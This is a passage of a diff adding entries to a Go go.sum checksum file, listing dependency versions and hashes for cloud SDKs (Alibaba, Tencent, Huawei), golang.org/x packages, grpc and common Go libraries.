+github.com/alibabacloud-go/tea-utils v1.4.5 h1:h0/6Xd2f3bPE4XHTvkpjwxowIwRCJAJOqY6Eq8f3zfA= +github.com/alibabacloud-go/tea-utils v1.4.5/go.mod h1:KNcT0oXlZZxOXINnZBs6YvgOd5aYp9U67G+E3R8fcQw= +github.com/alibabacloud-go/tea-utils/v2 v2.0.0/go.mod h1:U5MTY10WwlquGPS34DOeomUGBB0gXbLueiq5Trwu0C4= +github.com/alibabacloud-go/tea-utils/v2 v2.0.1 h1:K6kwgo+UiYx+/kr6CO0PN5ACZDzE3nnn9d77215AkTs= +github.com/alibabacloud-go/tea-utils/v2 v2.0.1/go.mod h1:U5MTY10WwlquGPS34DOeomUGBB0gXbLueiq5Trwu0C4= +github.com/alibabacloud-go/tea-xml v1.1.2 h1:oLxa7JUXm2EDFzMg+7oRsYc+kutgCVwm+bZlhhmvW5M= +github.com/alibabacloud-go/tea-xml v1.1.2/go.mod h1:Rq08vgCcCAjHyRi/M7xlHKUykZCEtyBy9+DPF6GgEu8= +github.com/aliyun/credentials-go v1.1.2/go.mod h1:ozcZaMR5kLM7pwtCMEpVmQ242suV6qTJya2bDq4X1Tw= +github.com/aliyun/credentials-go v1.2.4 h1:qu8c21BCvbaPJArEcsSk7GbSdxYFiACCjYzkEKCoeLA= +github.com/aliyun/credentials-go v1.2.4/go.mod h1:/KowD1cfGSLrLsH28Jr8W+xwoId0ywIy5lNzDz6O1vw= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/clbanning/mxj/v2 v2.5.5/go.mod h1:hNiWqW14h+kc+MdF9C6/YoRfjEJoR3ou6tn/Qo+ve2s= +github.com/clbanning/mxj/v2 v2.5.7 h1:7q5lvUpaPF/WOkqgIDiwjBJaznaLCCBd78pi8ZyAnE0= +github.com/clbanning/mxj/v2 v2.5.7/go.mod h1:hNiWqW14h+kc+MdF9C6/YoRfjEJoR3ou6tn/Qo+ve2s= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/snappy v0.0.3 h1:fHPg5GQYlCeLIPB9BZqMVR5nR9A+IM5zcgeTdjMYmLA= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/martian/v3 v3.3.2 h1:IqNFLAmvJOgVlpdEBiQbDc2EwKW77amAycfTuWKdfvw= +github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gopherjs/gopherjs v0.0.0-20200217142428-fce0ec30dd00/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= +github.com/hashicorp/yamux v0.1.1/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ= +github.com/huaweicloud/huaweicloud-sdk-go-v3 v0.1.7 h1:0qwMy2KWNJXVQih2zKHjEA4h9liPkqeEKTTGY21DUNE= +github.com/huaweicloud/huaweicloud-sdk-go-v3 v0.1.7/go.mod h1:QpZ96CRqyqd5fEODVmnzDNp3IWi5W95BFmWz1nfkq+s= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= +github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= +github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs= +github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= +github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= +github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= +github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/rivo/uniseg v0.4.3 h1:utMvzDsuh3suAEnhH0RdHmoPbU648o6CvXxTx4SBMOw= +github.com/rivo/uniseg v0.4.3/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= +github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= +github.com/smartystreets/assertions v1.1.0/go.mod h1:tcbTF8ujkAEcZ8TElKY+i30BzYlVhC/LOxJk7iOWnoo= +github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= +github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= +github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/apigateway v1.0.556 h1:fnEjOkUWJ2idQQxlt/690vNdN2pnn7i0CKcF8WTRMDw= +github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/apigateway v1.0.556/go.mod h1:+NSFTlX93W0QPX9PE6t4uRSUfvCx+ynNn03E/0WAY+U= +github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.556 h1:quCr68p76uVmfhyo5+sEqxz+O/x/gYxx3lNK4Hsom0s= +github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.556/go.mod h1:7sCQWVkxcsR38nffDW057DRGk8mUjK1Ing/EFOK8s8Y= +github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf v1.0.556 h1:t303OjxLCjuij1cjEP6q88B+w/J8ZpOqtWS3UnZDOpg= +github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf v1.0.556/go.mod h1:jCw5MfSwlHVrvrgyB7G0yICAVanBkUkiGFSV819SuP0= +github.com/tjfoc/gmsm v1.3.2/go.mod h1:HaUcFuY0auTiaHB9MHFGCPx5IaLhTUd2atbCFBQXn9w= +github.com/tjfoc/gmsm v1.4.1 h1:aMe1GlZb+0bLjn+cKTPEvvn9oUEBlJitaZiiBwsbgho= +github.com/tjfoc/gmsm v1.4.1/go.mod h1:j4INPkHWMrhJb38G+J6W4Tw0AbuN8Thu3PbdVYhVcTE= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.30/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20191219195013-becbf705a915/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20221211140036-ad323defaf05 h1:T8EldfGCcveFMewH5xAYxxoX3PSQMrsechlUGVFlQBU= +golang.org/x/exp v0.0.0-20221211140036-ad323defaf05/go.mod h1:CxIveKay+FTh1D0yPZemJVgC/95VzuuOLq5Qi4xnoYc= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.4.0 h1:Q5QPcMlvfxFTAPV0+07Xz/MpK9NTXu2VDUuy0FeMfaU= +golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200509044756-6aff5f38e54f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ= +golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.5.0 h1:OLmvp0KP+FVG99Ct/qFiL/Fhk4zp4QQnZ7b2U+5piUM= +golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20200509030707-2212a7e161a5/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e h1:S9GbmC1iCgvbLyAokVCwiO6tVIrU9Y7c5oMx1V/ki/Y= +google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.27.0/go.mod 